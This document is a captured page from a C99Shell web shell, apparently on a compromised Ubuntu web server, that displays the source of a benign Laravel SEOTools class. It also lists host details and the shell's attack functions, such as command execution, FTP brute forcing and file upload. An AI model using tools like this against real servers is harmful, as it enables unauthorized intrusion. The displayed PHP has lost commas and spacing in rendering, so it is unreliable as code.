!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/artesaos/seotools/src/SEOTools/   drwxr-xr-x
Free 13 GB of 57.97 GB (22.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SEOTools.php (2.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Artesaos\SEOTools;

use 
Artesaos\SEOTools\Contracts\SEOTools as SEOContract;

/**
 * SEOTools provides implementation for `SEOTools` contract.
 *
 * @see \Artesaos\SEOTools\Contracts\SEOTools
 */
class SEOTools implements SEOContract
{
    
/**
     * {@inheritdoc}
     */
    
public function metatags()
    {
        return 
app('seotools.metatags');
    }

    
/**
     * {@inheritdoc}
     */
    
public function opengraph()
    {
        return 
app('seotools.opengraph');
    }

    
/**
     * {@inheritdoc}
     */
    
public function twitter()
    {
        return 
app('seotools.twitter');
    }

    
/**
     * {@inheritdoc}
     */
    
public function jsonLd()
    {
        return 
app('seotools.json-ld');
    }

    
/**
     * {@inheritdoc}
     */
    
public function jsonLdMulti()
    {
        return 
app('seotools.json-ld-multi');
    }

    
/**
     * {@inheritdoc}
     */
    
public function setTitle($title$appendDefault true)
    {
        
$this->metatags()->setTitle($title$appendDefault);
        
$this->opengraph()->setTitle($title);
        
$this->twitter()->setTitle($title);
        
$this->jsonLd()->setTitle($title);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setDescription($description)
    {
        
$this->metatags()->setDescription($description);
        
$this->opengraph()->setDescription($description);
        
$this->twitter()->setDescription($description);
        
$this->jsonLd()->setDescription($description);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setCanonical($url)
    {
        
$this->metatags()->setCanonical($url);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function addImages($urls)
    {
        if (
is_array($urls)) {
            
$this->opengraph()->addImages($urls);
        } else {
            
$this->opengraph()->addImage($urls);
        }

        
$this->twitter()->setImage($urls);

        
$this->jsonLd()->addImage($urls);

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getTitle($session false)
    {
        if (
$session) {
            return 
$this->metatags()->getTitleSession();
        }

        return 
$this->metatags()->getTitle();
    }

    
/**
     * {@inheritdoc}
     */
    
public function generate($minify false)
    {
        
$html $this->metatags()->generate();
        
$html .= PHP_EOL;
        
$html .= $this->opengraph()->generate();
        
$html .= PHP_EOL;
        
$html .= $this->twitter()->generate();
        
$html .= PHP_EOL;
        
// if json ld multi is use don't show simple json ld
        
$html .= $this->jsonLdMulti()->generate() ?? $this->jsonLd()->generate();

        return (
$minify) ? str_replace(PHP_EOL''$html) : $html;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--